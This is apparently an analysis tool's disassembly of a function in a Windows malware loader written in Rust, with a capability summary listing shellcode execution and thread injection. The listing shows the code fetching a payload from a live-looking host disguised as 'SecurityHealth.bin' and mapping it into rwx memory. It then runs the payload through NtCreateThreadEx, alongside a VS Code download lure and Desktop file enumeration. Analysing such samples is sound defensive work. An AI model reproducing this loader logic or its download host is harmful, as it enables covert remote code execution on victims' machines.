Function at 0x140005786
Capabilities:
Allocate or change rwx memory
Check if file exists
Create thread
Enumerate files on windows
Execute shellcode via indirect call
Get common file path
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xe48
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xdb0], xmm6
mov qword [rbp + 0xda8], 0xfffffffffffffffe
mov r15, rdx
mov r12, rcx
movzx eax, byte [rcx + 0x148]
test eax, eax
mov qword [rbp + 0xd70], rcx
mov qword [rbp + 0xd98], rdx
je 0x140005e7e
cmp eax, 3
jne 0x14000580d
lea r14, [r12 + 0x140]
movzx eax, byte [r12 + 0x140]
test eax, eax
je 0x140005e8f
cmp eax, 3
je 0x140005957
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chainC:Users_fhnir.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_util_0.7.10_srcutilpoll_buf.rs
lea r8, str.srcmain.rs
jmp 0x14000581b
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chainC:Users_fhnir.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_util_0.7.10_srcutilpoll_buf.rs
lea r8, str.srcmain.rs
push 0x23
pop rdx
call fcn.1400a88d0
mov qword [r12], rdx
lea rdx, str.https:__code.visualstudio.com_downloadFailed_to_read_response_body_n
lea rsi, [rbp + 0x670]
push 0x26
pop r8
mov rcx, rsi
call fcn.14007a338
movabs rax, 0x8000000000000000
cmp qword [rsi], rax
jne 0x140005877
mov rax, qword [rbp + 0x678]
mov qword [rbp + 0xb48], rax
mov qword [rbp + 0xb40], 2
lea rcx, [0x1400b16d8]
call fcn.1400122dd
jmp 0x14000588a
lea rcx, [rbp + 0xb40]
lea rdx, [rbp + 0x670]
call fcn.1400022e9
mov rax, qword [r12]
lock inc qword [rax]
jle 0x140007189
lea rsi, [rbp + 0x420]
mov qword [rsi + 0x110], rax
lea rdx, [rbp + 0xb40]
mov r8d, 0x110
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rsi], 2
je 0x1400058e9
lea rdx, [rbp + 0x4a8]
lea rsi, [rbp + 0xb10]
mov rcx, rsi
call fcn.14007b9c3
movabs rax, 0x8000000000000000
cmp qword [rsi], rax
jne 0x140005b1b
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x420]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rbp + 0x8d0], 2
jne 0x140005920
mov rax, qword [rbp + 0x8d8]
mov qword [rbp + 0x20], 2
mov qword [rbp + 0x28], rax
jmp 0x140005937
lea r8, [rbp + 0x8d0]
mov rdx, qword [r8 + 0x110]
lea rcx, [rbp + 0x20]
call fcn.14006fbd5
lea rcx, [rbp + 0x9e0]
call fcn.14006fbc6
lea rcx, [r12 + 8]
lea rdx, [rbp + 0x20]
mov r8d, 0x138
call sub.VCRUNTIME140.dll_memcpy
lea rsi, [r12 + 8]
lea rdi, [rbp + 0x670]
mov rcx, rdi
mov rdx, rsi
mov r8, r15
call fcn.140070f1c
mov rbx, qword [rdi]
cmp rbx, 4
je 0x140005f85
lea rdi, [rbp + 0xc50]
lea rdx, [rbp + 0x670]
mov r8d, 0x98
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rsi
call fcn.140001d1a
cmp dword [rdi], 3
jne 0x1400059f0
lea rax, str.No_internet_connection._Retrying_in_3_seconds..._n
lea rcx, [rbp + 0x670]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x14010e5a0]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.14008f710
push 3
pop rcx
call fcn.140088800
lea rcx, [rbp + 0xc50]
call fcn.140001a28
jmp 0x140005827
mov qword [rbp + 0xce8], rbx
lea r13, [0x14010e5a0]
lea rax, str.Internet_connection_detected._n
lea rsi, [rbp + 0x670]
mov qword [rsi], rax
push 1
pop rdi
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], r13
xorps xmm6, xmm6
movups xmmword [rsi + 0x18], xmm6
mov rcx, rsi
call fcn.14008f710
lea rcx, [rbp + 0xc50]
call fcn.140001a28
mov rcx, r12
call fcn.14006fbc6
mov byte [r12 + 0x140], 1
mov rcx, r12
call fcn.140001fd8
and qword [rbp + 0x8d0], 0
mov qword [rbp + 0x8d8], rdi
and qword [rbp + 0x8e0], 0
lea rdi, str.https:__nc.bmexcellentfocus.net_Files_SecurityHealth.bin__
push 0x38
pop rbx
lea r12, str.Failed_to_download._Retrying..._n
lea r14, [rbp + 0x20]
push 5
pop r15
mov rcx, rsi
mov rdx, rdi
mov r8, rbx
call fcn.140002367
cmp dword [rbp + 0x670], 3
jne 0x140005acc
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], 1
mov qword [rbp + 0x30], r13
movups xmmword [rbp + 0x38], xmm6
mov rcx, r14
call fcn.14008f710
mov rcx, r15
call fcn.140088800
cmp dword [rbp + 0x670], 3
jne 0x140005a7e
mov rcx, rsi
call fcn.140001905
jmp 0x140005a7e
lea rsi, [rbp + 0x20]
lea rdx, [rbp + 0x670]
mov r8d, 0xc0
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdi, [rbp + 0x420]
lea r8, [rbp + 0x8d0]
mov rcx, rdi
mov rdx, rsi
call fcn.1400017e4
cmp qword [rdi], 0
je 0x140005bbd
mov rax, qword [rbp + 0x428]
mov qword [rbp + 0xb48], rax
jmp 0x140005df7
lea rsi, [rbp + 0xb28]
mov rax, qword [rsi - 8]
mov rdi, rbp
mov qword [rdi + 0x10], rax
movups xmm0, xmmword [rsi - 0x18]
movaps xmmword [rdi], xmm0
lea rbx, [rbp + 0x670]
lea rdx, [rbp + 0x420]
mov r8d, 0x118
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xd00]
mov rdx, rdi
mov r8, rsi
call fcn.14007bb8e
movups xmm0, xmmword [0x1400ddf10]
movaps xmmword [rbp + 0xb00], xmm0
movups xmm1, xmmword [0x1400ddf00]
movaps xmmword [rbp + 0xaf0], xmm1
cmp dword [rbx], 2
jne 0x140005d8f
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x670]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xd00]
call fcn.1400122c7
lea rcx, [rbp + 0xaf0]
call fcn.140013e0b
jmp 0x140005902
cmp qword [rbp + 0x428], 0
push 0xffffffffffffffff
pop rax
mov qword [rbp + 0xd48], rax
mov r12, qword [rbp + 0xd70]
je 0x140005ed5
mov edi, 0x2000
lea rax, [rbp + 0x8d0]
mov rdx, qword [rax + 0x10]
lea r14, [rbp + 0x420]
lea r15, [rbp + 0x20]
lea rbx, str._rustc_6672c16afcd4db8acdf08a6984fd4107bf07632clibrary_std_srciomod.rs
xor esi, esi
mov r8, qword [rbp + 0x8d0]
mov rax, r8
or rax, rdx
jne 0x140005c4b
mov rcx, r14
mov rdx, r15
lea r8, [rbp + 0x8d0]
call fcn.1400017e4
cmp qword [rbp + 0x420], 0
jne 0x140005fe5
cmp qword [rbp + 0x428], 0
mov rdx, qword [rbp + 0x8e0]
je 0x140006003
mov r8, qword [rbp + 0x8d0]
cmp rdx, r8
jne 0x140005c84
lea rcx, [rbp + 0x8d0]
mov rdx, r8
push 0x20
pop r8
call fcn.1400339c4
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x140005fb4
mov r8, qword [rbp + 0x8d0]
mov rdx, qword [rbp + 0x8e0]
sub r8, rdx
add rdx, qword [rbp + 0x8d8]
cmp r8, rdi
mov qword [rbp + 0xd90], rdi
mov r12, rdi
cmovb r12, r8
mov rcx, r12
mov r9, rbx
call fcn.140001000
mov rbx, rax
mov rdi, rdx
mov r8, rdi
sub r8, rsi
jb 0x140006886
add rsi, rbx
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rdi
mov rdx, rbx
mov r8, rdi
lea r9, [0x1400ad858]
call fcn.140001000
mov r9, rdx
mov rcx, r14
mov rdx, r15
mov r8, rax
call fcn.14007beeb
cmp qword [rbp + 0x420], 0
je 0x140005d24
mov rsi, qword [rbp + 0x428]
mov rcx, rsi
call fcn.14000189e
test al, al
je 0x140005df0
mov qword [rbp + 0x420], rsi
mov rcx, r14
call fcn.140001bf1
mov rsi, rdi
jmp 0x140005cb0
mov rax, qword [rbp + 0x428]
mov rsi, rdi
sub rsi, rax
jb 0x140007009
test rax, rax
lea rbx, str._rustc_6672c16afcd4db8acdf08a6984fd4107bf07632clibrary_std_srciomod.rs
je 0x140005fc0
mov rdx, qword [rbp + 0x8e0]
add rdx, rax
cmp rdi, r12
push 0xffffffffffffffff
pop r8
mov rdi, qword [rbp + 0xd90]
cmovne rdi, r8
lea rcx, [rdi + rdi]
test rdi, rdi
cmovs rcx, r8
cmp rax, r12
cmovne rcx, rdi
mov qword [rbp + 0x8e0], rdx
cmp r12, rdi
cmovae rdi, rcx
mov r12, qword [rbp + 0xd70]
jmp 0x140005c00
lea rdx, [rbp - 0x20]
movaps xmmword [rdx + 0x10], xmm0
movaps xmmword [rdx], xmm1
movups xmm0, xmmword [rbp + 0xd00]
movups xmm1, xmmword [rbp + 0xd10]
lea r8, [rbp + 0x8d0]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
mov eax, dword [rbp + 0xd21]
mov dword [r8 + 0x21], eax
mov eax, dword [rbp + 0xd24]
mov dword [r8 + 0x24], eax
lea rcx, [rbp + 0x698]
mov byte [r8 + 0x20], 1
call fcn.14001397b
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x670]
jmp 0x1400058f7
mov qword [rbp + 0xb48], rsi
mov qword [rbp + 0xb40], 1
mov r12, qword [rbp + 0xd70]
lea rax, [0x1400adc08]
lea rcx, [rbp + 0x420]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], r13
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.14008f710
lea rcx, [rbp + 0xb40]
call fcn.140001fc8
lea rcx, [rbp + 0x20]
call fcn.140001e4f
cmp dword [rbp + 0x670], 3
jne 0x140005e5c
lea rcx, [rbp + 0x670]
call fcn.140001905
mov rcx, qword [rbp + 0x8d0]
mov rdx, qword [rbp + 0x8d8]
call fcn.140031079
push 5
pop rcx
call fcn.140088800
mov r15, qword [rbp + 0xd98]
lea r14, [r12 + 0x140]
mov byte [r12 + 0x140], 0
lea rsi, [rbp + 0x20]
mov rcx, rsi
call fcn.14007b810
mov rcx, rsi
call fcn.14006e5eb
test rax, rax
je 0x140005823
lea r8, [rbp + 0x20]
mov qword [r8], rdx
lea rax, str.C:Users_fhnir.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.24_src_async_implclient.rstrust_dns_shouldnt_be_enabled_unless_the_feature_is
mov qword [rsp + 0x20], rax
lea rcx, [0x1400ddc9e]
lea r9, fcn.140037e76
push 0xd
pop rdx
call fcn.1400a8ca0
xorps xmm0, xmm0
movaps xmmword [rbp + 0xb40], xmm0
mov r14, qword [rbp + 0x8e0]
lea rcx, [rbp + 0xb40]
call fcn.140001fc8
mov rbx, qword [rbp + 0x8d0]
mov rdi, qword [rbp + 0x8d8]
lea rcx, [rbp + 0x20]
call fcn.140001e4f
cmp dword [rbp + 0x670], 3
jne 0x140005f1e
lea rcx, [rbp + 0x670]
call fcn.140001905
movabs rax, 0x8000000000000000
cmp rbx, rax
je 0x140005e6f
push 5
pop rcx
call fcn.140088800
movups xmm0, xmmword [0x1400afefc]
lea r12, [rbp + 0x670]
movaps xmmword [r12], xmm0
lea rsi, [rbp + 0x420]
and qword [rsi], 0
mov rcx, r12
xor edx, edx
xor r8d, r8d
mov r9, rsi
call qword [sym.imp.shell32.dll_SHGetKnownFolderPath]
mov rcx, qword [rsi]
test eax, eax
mov qword [rbp + 0xcf0], rdi
je 0x14000601a
call qword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x14000606f
mov byte [r14], 3
mov cl, 3
cmp ebx, 4
sete al
mov byte [r12 + 0x148], cl
movaps xmm6, xmmword [rbp + 0xdb0]
add rsp, 0xe48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movabs rax, 0x2600000003
jmp 0x140005fec
mov rax, qword [rbp + 0x8e0]
mov r14, rax
mov qword [rbp + 0xb48], rax
and qword [rbp + 0xb40], 0
mov r12, qword [rbp + 0xd70]
jmp 0x140005ee6
mov rax, qword [rbp + 0x428]
mov qword [rbp + 0xb48], rax
mov qword [rbp + 0xb40], 1
jmp 0x140005e09
mov r14, rdx
mov qword [rbp + 0xb48], rdx
and qword [rbp + 0xb40], 0
jmp 0x140005ee6
call qword [sym.imp.kernel32.dll_lstrlenW]
movsxd r8, eax
mov rdx, qword [rbp + 0x420]
lea rsi, [rbp + 0x20]
mov rcx, rsi
call fcn.14008a730
mov rcx, qword [rbp + 0x420]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rax, qword [rsi]
movups xmm0, xmmword [rsi + 8]
movaps xmmword [rbp + 0xd00], xmm0
mov rcx, qword [rsi + 0x18]
mov qword [rbp + 0xd10], rcx
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x140006372
lea rax, str.Unable_to_get_the_users_home_directory_n
lea rcx, [rbp + 0x20]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], r13
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.14008f970
push 5
pop rcx
call fcn.140088800
call fcn.140034d29
mov rsi, rax
mov rcx, rsi
call fcn.14000218a
bt eax, 0x1e
jb 0x1400060a5
mov rcx, rsi
call fcn.1400341bd
lea rdx, str.https:__quan.suning.com_getSysTime.dosysTime1
lea rsi, [rbp + 0x670]
push 0x25
pop r8
mov rcx, rsi
call fcn.140002367
mov rdi, qword [rsi]
cmp rdi, 3
je 0x14000701e
lea rdx, [rbp + 0x680]
mov r15, qword [rdx - 8]
lea rsi, [rbp + 0x430]
mov r8d, 0xb0
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi - 0x10], rdi
mov qword [rsi - 8], r15
lea rsi, [rbp + 0x8d0]
lea rdx, [rbp + 0x420]
mov rcx, rsi
call fcn.140003b14
mov rax, qword [rsi]
test rax, rax
je 0x140007027
mov rdx, qword [rbp + 0x8d8]
movups xmm0, xmmword [rbp + 0x8e0]
lea rcx, [rbp + 0xc50]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rbp + 0x8f0]
movups xmmword [rcx + 0x20], xmm0
mov qword [rcx], rax
mov qword [rcx + 8], rdx
call fcn.1400016a3
test rax, rax
je 0x140007030
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rsi, [rbp + 0x670]
mov rcx, rsi
call fcn.140011570
cmp byte [rsi], 0
jne 0x14000703c
push 3
pop rcx
call fcn.140088800
lea rdx, str.https:__quan.suning.com_getSysTime.dosysTime1
push 0x25
pop r8
mov rcx, rsi
call fcn.140002367
mov rdi, qword [rsi]
cmp rdi, 3
je 0x140007055
lea rdx, [rbp + 0x680]
mov r15, qword [rdx - 8]
lea rsi, [rbp + 0x30]
mov r8d, 0xb0
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi - 0x10], rdi
mov qword [rsi - 8], r15
lea rsi, [rbp + 0x8d0]
lea rdx, [rbp + 0x20]
mov rcx, rsi
call fcn.140003b14
mov rax, qword [rsi]
test rax, rax
je 0x14000705e
mov rdx, qword [rbp + 0x8d8]
movups xmm0, xmmword [rbp + 0x8e0]
lea rcx, [rbp + 0xb40]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rbp + 0x8f0]
movups xmmword [rcx + 0x20], xmm0
mov qword [rcx], rax
mov qword [rcx + 8], rdx
call fcn.1400016a3
test rax, rax
je 0x140007094
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rsi, [rbp + 0x670]
mov rcx, rsi
call fcn.140011570
cmp byte [rsi], 0
jne 0x1400070a0
lea rcx, [rbp + 0xb40]
call fcn.140001918
lea rcx, [rbp + 0xc50]
call fcn.140001918
lea rsi, [rbp + 0x420]
and qword [rsi], 0
lea r15, [rbp + 0x670]
mov rdi, r14
mov qword [r15], r14
and dword [rbp + 0x8d0], 0
call fcn.140034d29
mov r12, rax
mov rcx, rax
call fcn.14000218a
mov r13d, eax
and r13d, 1
or r13d, 0x1000
mov rcx, r12
call fcn.1400341bd
mov dword [rsp + 0x20], r13d
mov dword [rsp + 0x28], 0x40
push 0xffffffffffffffff
pop r12
mov rcx, r12
mov rdx, rsi
xor r8d, r8d
mov r9, r15
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov rdx, qword [rsi]
and qword [rsp + 0x20], 0
mov rcx, r12
mov r14, qword [rbp + 0xcf0]
mov r8, r14
mov r9, rdi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
lea rax, [rbp + 0x8d0]
mov qword [rsp + 0x20], rax
push 0x50
pop r9
mov rcx, r12
mov rdx, rsi
mov r8, r15
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
lea rdi, [rbp + 0x20]
and qword [rdi], 0
mov rax, qword [rsi]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
and dword [rsp + 0x30], 0
mov qword [rsp + 0x20], rax
and qword [rsp + 0x28], 0
mov rcx, rdi
mov edx, 0x2000000
xor r8d, r8d
mov r9, r12
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
mov rcx, qword [rdi]
xor edx, edx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
mov rcx, rbx
mov rdx, r14
call fcn.140031079
mov cl, 1
mov r12, qword [rbp + 0xd70]
mov rbx, qword [rbp + 0xce8]
jmp 0x140005f8b
lea rsi, [rbp + 0xb10]
mov qword [rsi], rax
movaps xmm0, xmmword [rbp + 0xd00]
movups xmmword [rsi + 8], xmm0
mov rax, qword [rbp + 0xd10]
mov qword [rsi + 0x18], rax
lea rdx, str.Desktop
push 7
pop r8
mov rcx, rsi
call case.0x14008cfb1.45
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rsi, [rbp + 0x20]
mov rcx, rsi
call fcn.14000b7d0
cmp qword [rsi], 0
jne 0x1400070ec
mov r15, qword [rbp + 0x30]
test r15, r15
je 0x1400064dd
js 0x1400070f8
mov rsi, qword [rbp + 0x28]
mov al, byte [0x1401172e0]
xor ecx, ecx
mov rdx, r15
call fcn.140090a70
test rax, rax
je 0x1400070fd
mov qword [rbp + 0xd78], rax
mov rcx, rax
mov rdx, rsi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov al, byte [0x1401172e0]
xor ecx, ecx
mov rdx, r15
call fcn.140090a70
test rax, rax
je 0x140007108
mov rdi, rax
mov rcx, rax
mov rdx, rsi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x20]
mov qword [rcx], r15
mov qword [rcx + 8], rdi
mov qword [rbp + 0xd88], r15
mov qword [rcx + 0x10], r15
mov byte [rcx + 0x18], 0
lea rdx, [0x1400e5910]
push 1
pop r8
call case.0x14008cfb1.45
lea rcx, [rbp + 0x20]
mov rax, qword [rcx]
mov qword [rbp + 0xd60], rax
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
mov byte [rbp + 0xda6], 1
mov qword [rbp + 0xd80], rdx
call fcn.1400881d0
mov r15, qword [rbp + 0x20]
push 2
pop rax
mov dword [rbp + 0xd6c], eax
movabs rax, 0x8000000000000000
cmp r15, rax
jne 0x1400064f3
mov rdi, qword [rbp + 0x28]
mov rsi, qword [rbp + 0xd80]
cmp qword [rbp + 0xd60], 0
je 0x140006568
mov qword [rbp + 0xd88], rdi
push 1
pop rdx
mov rcx, rsi
call fcn.140007740
mov sil, 1
xor edi, edi
mov rcx, qword [rbp + 0xd78]
jmp 0x140006ba1
movabs rax, 0x300000002
mov qword [rbp + 0xd88], rax
jmp 0x140006bae
mov rdi, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0xc50], r15
mov qword [rbp + 0xc58], rdi
mov qword [rbp + 0xc60], rax
cmp rax, 3
jbe 0x140006555
movabs rcx, 0x5c003f005c005c
cmp qword [rdi], rcx
je 0x140006a4b
movabs rcx, 0x5c003f003f005c
cmp qword [rdi], rcx
je 0x140006a4b
cmp rax, 0xf8
jae 0x1400065e0
cmp word [rdi + 2], 0x3a
jne 0x1400065b9
movzx eax, word [rdi + 4]
jmp 0x140006597
je 0x140006583
cmp rax, 1
jne 0x1400065b7
cmp word [rdi], 0
jne 0x1400065e0
jmp 0x140006a4b
mov sil, 1
mov rdx, rdi
xor edi, edi
mov rcx, qword [rbp + 0xd78]
mov qword [rbp + 0xd88], rdx
jmp 0x140006ba1
cmp word [rdi + 2], 0x3a
jne 0x1400065b9
movzx eax, word [rdi + 4]
test ax, ax
je 0x14000686c
cmp ax, 0x2f
je 0x1400065a5
movzx eax, ax
cmp eax, 0x5c
jne 0x1400065b9
movzx eax, word [rdi]
cmp eax, 0x2f
je 0x1400065bc
cmp eax, 0x5c
je 0x1400065bc
jmp 0x140006a4b
jbe 0x1400065e0
movzx eax, word [rdi]
cmp ax, 0x5c
je 0x1400065ca
movzx eax, ax
cmp eax, 0x2f
jne 0x1400065e0
movzx eax, word [rdi + 2]
cmp eax, 0x2f
je 0x140006a4b
cmp eax, 0x5c
je 0x140006a4b
mov qword [rbp + 0xd90], rdi
lea rax, [rbp + 0xb40]
and qword [rax], 0
mov qword [rax + 8], 2
and qword [rax + 0x10], 0
mov r15d, 0x200
push 2
pop rax
mov qword [rbp + 0xd38], rax
xor eax, eax
mov qword [rbp + 0xd40], rax
xor eax, eax
mov qword [rbp + 0xd50], rax
xor edi, edi
cmp r15, 0x201
jae 0x140006641
mov eax, 0x200
mov qword [rbp + 0xd30], rax
lea rsi, [rbp + 0x20]
mov r12, r15
jmp 0x1400066b8
sub r15, rdi
mov rax, qword [rbp + 0xd50]
sub rax, rdi
cmp rax, r15
jae 0x140006681
lea rcx, [rbp + 0xb40]
mov rdx, rdi
mov r8, r15
call fcn.1400ab000
mov rax, qword [rbp + 0xb40]
mov qword [rbp + 0xd40], rax
mov rax, qword [rbp + 0xb48]
mov qword [rbp + 0xd38], rax
mov eax, 0xffffffff
mov rcx, qword [rbp + 0xd40]
cmp rcx, rax
mov edi, 0xffffffff
cmovb rdi, rcx
mov qword [rbp + 0xb50], rdi
mov qword [rbp + 0xd50], rcx
mov qword [rbp + 0xd30], rdi
mov rsi, qword [rbp + 0xd38]
mov r12, rdi
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, qword [rbp + 0xd90]
mov edx, r12d
mov qword [rbp + 0xd98], rsi
mov r8, rsi
xor r9d, r9d
call qword [sym.imp.kernel32.dll_GetFullPathNameW]
mov esi, eax
test eax, eax
jne 0x1400066f1
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x140006771
mov r15d, esi
cmp r12, r15
jne 0x14000671f
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400070d1
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r15, r12
jmp 0x140006623
lea r12, [rbp + 0x670]
jb 0x140006623
mov rdx, qword [rbp + 0xd30]
cmp rdx, r15
jb 0x14000713e
cmp esi, 2
jbe 0x1400067ca
mov r8, qword [rbp + 0xd98]
movzx ecx, word [r8 + 2]
lea rax, [0x1400e63c0]
push 4
pop r9
cmp ecx, 0x3a
jne 0x1400067dd
cmp word [r8 + 4], 0x5c
jne 0x1400067dd
mov r13, rax
jmp 0x1400068ae
call qword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
shl rdi, 0x20
cmp qword [rbp + 0xb40], 0
je 0x140006796
mov rcx, qword [rbp + 0xb48]
push 2
pop rdx
call fcn.140007740
or rdi, 2
cmp qword [rbp + 0xc50], 0
lea r12, [rbp + 0x670]
mov rsi, qword [rbp + 0xd80]
je 0x1400064ac
mov rcx, qword [rbp + 0xc58]
push 2
pop rdx
call fcn.140007740
jmp 0x1400064ac
jne 0x140006860
mov r8, qword [rbp + 0xd98]
movzx edx, word [r8]
jmp 0x1400067ed
movzx edx, word [r8]
cmp esi, 3
jne 0x14000681e
mov r8, qword [rbp + 0xd98]
cmp dx, 0x5c
jne 0x1400068ab
movzx ecx, word [r8 + 2]
cmp cx, 0x5c
jne 0x1400068ab
add r15, 0xfffffffffffffffe
add r8, 4
lea r13, [0x1400e63c8]
push 8
pop r9
jmp 0x1400068ae
cmp dx, 0x5c
jne 0x140006860
cmp ecx, 0x3f
je 0x140006860
cmp ecx, 0x5c
mov r8, qword [rbp + 0xd98]
jne 0x1400067fc
movzx ecx, word [r8 + 4]
cmp ecx, 0x3f
je 0x140006898
cmp ecx, 0x2e
mov r8, qword [rbp + 0xd98]
jne 0x140006806
cmp word [r8 + 6], 0x5c
jne 0x140006806
add r15, 0xfffffffffffffffc
add r8, 8
jmp 0x140006769
xor r9d, r9d
mov r8, qword [rbp + 0xd98]
jmp 0x1400068ae
movzx eax, word [rdi]
cmp eax, 0x2f
je 0x1400065b9
cmp eax, 0x5c
je 0x1400065b9
jmp 0x140006a4b
lea r8, [0x1400ad8f0]
mov rcx, rsi
mov rdx, rdi
call fcn.1400a8830
mov r8, qword [rbp + 0xd98]
cmp word [r8 + 6], 0x5c
jne 0x140006806
xor r9d, r9d
mov qword [rbp + 0xd98], r8
lea rdi, [r15 + r9]
inc rdi
mov rax, qword [rbp + 0xc50]
cmp rax, rdi
jae 0x1400068fd
lea r8, [rdi + rdi]
test rax, rax
mov qword [rbp + 0xd50], r9
je 0x140006909
add rax, rax
mov rcx, qword [rbp + 0xd90]
mov qword [rbp + 0x420], rcx
mov qword [rbp + 0x428], 2
mov qword [rbp + 0x430], rax
jmp 0x140006911
mov rdi, rax
mov rcx, qword [rbp + 0xd90]
jmp 0x140006950
and qword [rbp + 0x428], 0
lea rsi, [rbp + 0x8d0]
push 2
pop rdx
lea r9, [rbp + 0x420]
mov rcx, rsi
call fcn.140086d70
cmp qword [rsi], 0
jne 0x14000714f
mov rcx, qword [rbp + 0x8d8]
mov qword [rbp + 0xc58], rcx
mov qword [rbp + 0xc50], rdi
mov r9, qword [rbp + 0xd50]
lea r8d, [r9 + r9]
mov rdx, r13
mov rsi, r9
call sub.VCRUNTIME140.dll_memcpy
mov r9, rsi
mov qword [rbp + 0xc60], rsi
mov rax, rdi
sub rax, rsi
cmp rax, r15
jae 0x1400069a4
lea rcx, [rbp + 0xc50]
mov rdx, r9
mov r8, r15
call fcn.1400ab000
mov rax, qword [rbp + 0xc50]
mov qword [rbp + 0xd90], rax
mov r9, qword [rbp + 0xc60]
mov rsi, qword [rbp + 0xd80]
jmp 0x1400069b2
mov rsi, qword [rbp + 0xd80]
mov qword [rbp + 0xd90], rdi
lea r8, [r15 + r15]
mov r13, qword [rbp + 0xc58]
lea rcx, [r9*2]
add rcx, r13
mov rdx, qword [rbp + 0xd98]
mov rdi, r9
call sub.VCRUNTIME140.dll_memcpy
add rdi, r15
mov qword [rbp + 0xc60], rdi
mov rdx, qword [rbp + 0xd90]
cmp rdi, rdx
jne 0x140006a0e
lea rcx, [rbp + 0xc50]
call fcn.140088540
mov r13, qword [rbp + 0xc58]
mov rdi, qword [rbp + 0xc60]
mov rsi, qword [rbp + 0xd80]
and word [r13 + rdi*2], 0
cmp qword [rbp + 0xb40], 0
mov rdi, r13
je 0x140006a31
mov rcx, qword [rbp + 0xb48]
push 2
pop rdx
call fcn.140007740
mov r15, qword [rbp + 0xc50]
movabs rax, 0x8000000000000000
cmp r15, rax
je 0x1400064ac
lea rsi, [rbp + 0x20]
mov r8d, 0x250
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rdi
mov rdx, rsi
call qword [sym.imp.kernel32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
je 0x140006b15
mov r13, rax
mov al, byte [0x1401172e0]
push 0x30
pop rdx
xor ecx, ecx
call fcn.140090a70
test rax, rax
mov rdx, qword [rbp + 0xd78]
je 0x14000711c
push 1
pop rcx
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov rcx, qword [rbp + 0xd88]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rdx
mov qword [rax + 0x20], rcx
mov qword [rbp + 0xd88], rax
mov byte [rax + 0x28], 0
lea rcx, [rbp + 0x670]
lea rdx, [rbp + 0x20]
mov r8d, 0x250
call sub.VCRUNTIME140.dll_memcpy
test r15, r15
je 0x140006ae6
push 2
pop rdx
mov rcx, rdi
call fcn.140007740
mov dil, 1
push 1
pop rax
mov dword [rbp + 0xd6c], eax
cmp qword [rbp + 0xd60], 0
je 0x140006c11
xor esi, esi
mov qword [rbp + 0xd48], r13
mov rcx, qword [rbp + 0xd80]
jmp 0x140006ba1
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
mov rsi, qword [rbp + 0xd78]
jne 0x140006fcc
mov al, byte [0x1401172e0]
push 0x30
pop rdx
xor ecx, ecx
call fcn.140090a70
test rax, rax
je 0x140007162
mov rcx, rax
push 1
pop rax
mov qword [rcx], rax
mov qword [rcx + 8], rax
mov rax, qword [rbp + 0xd88]
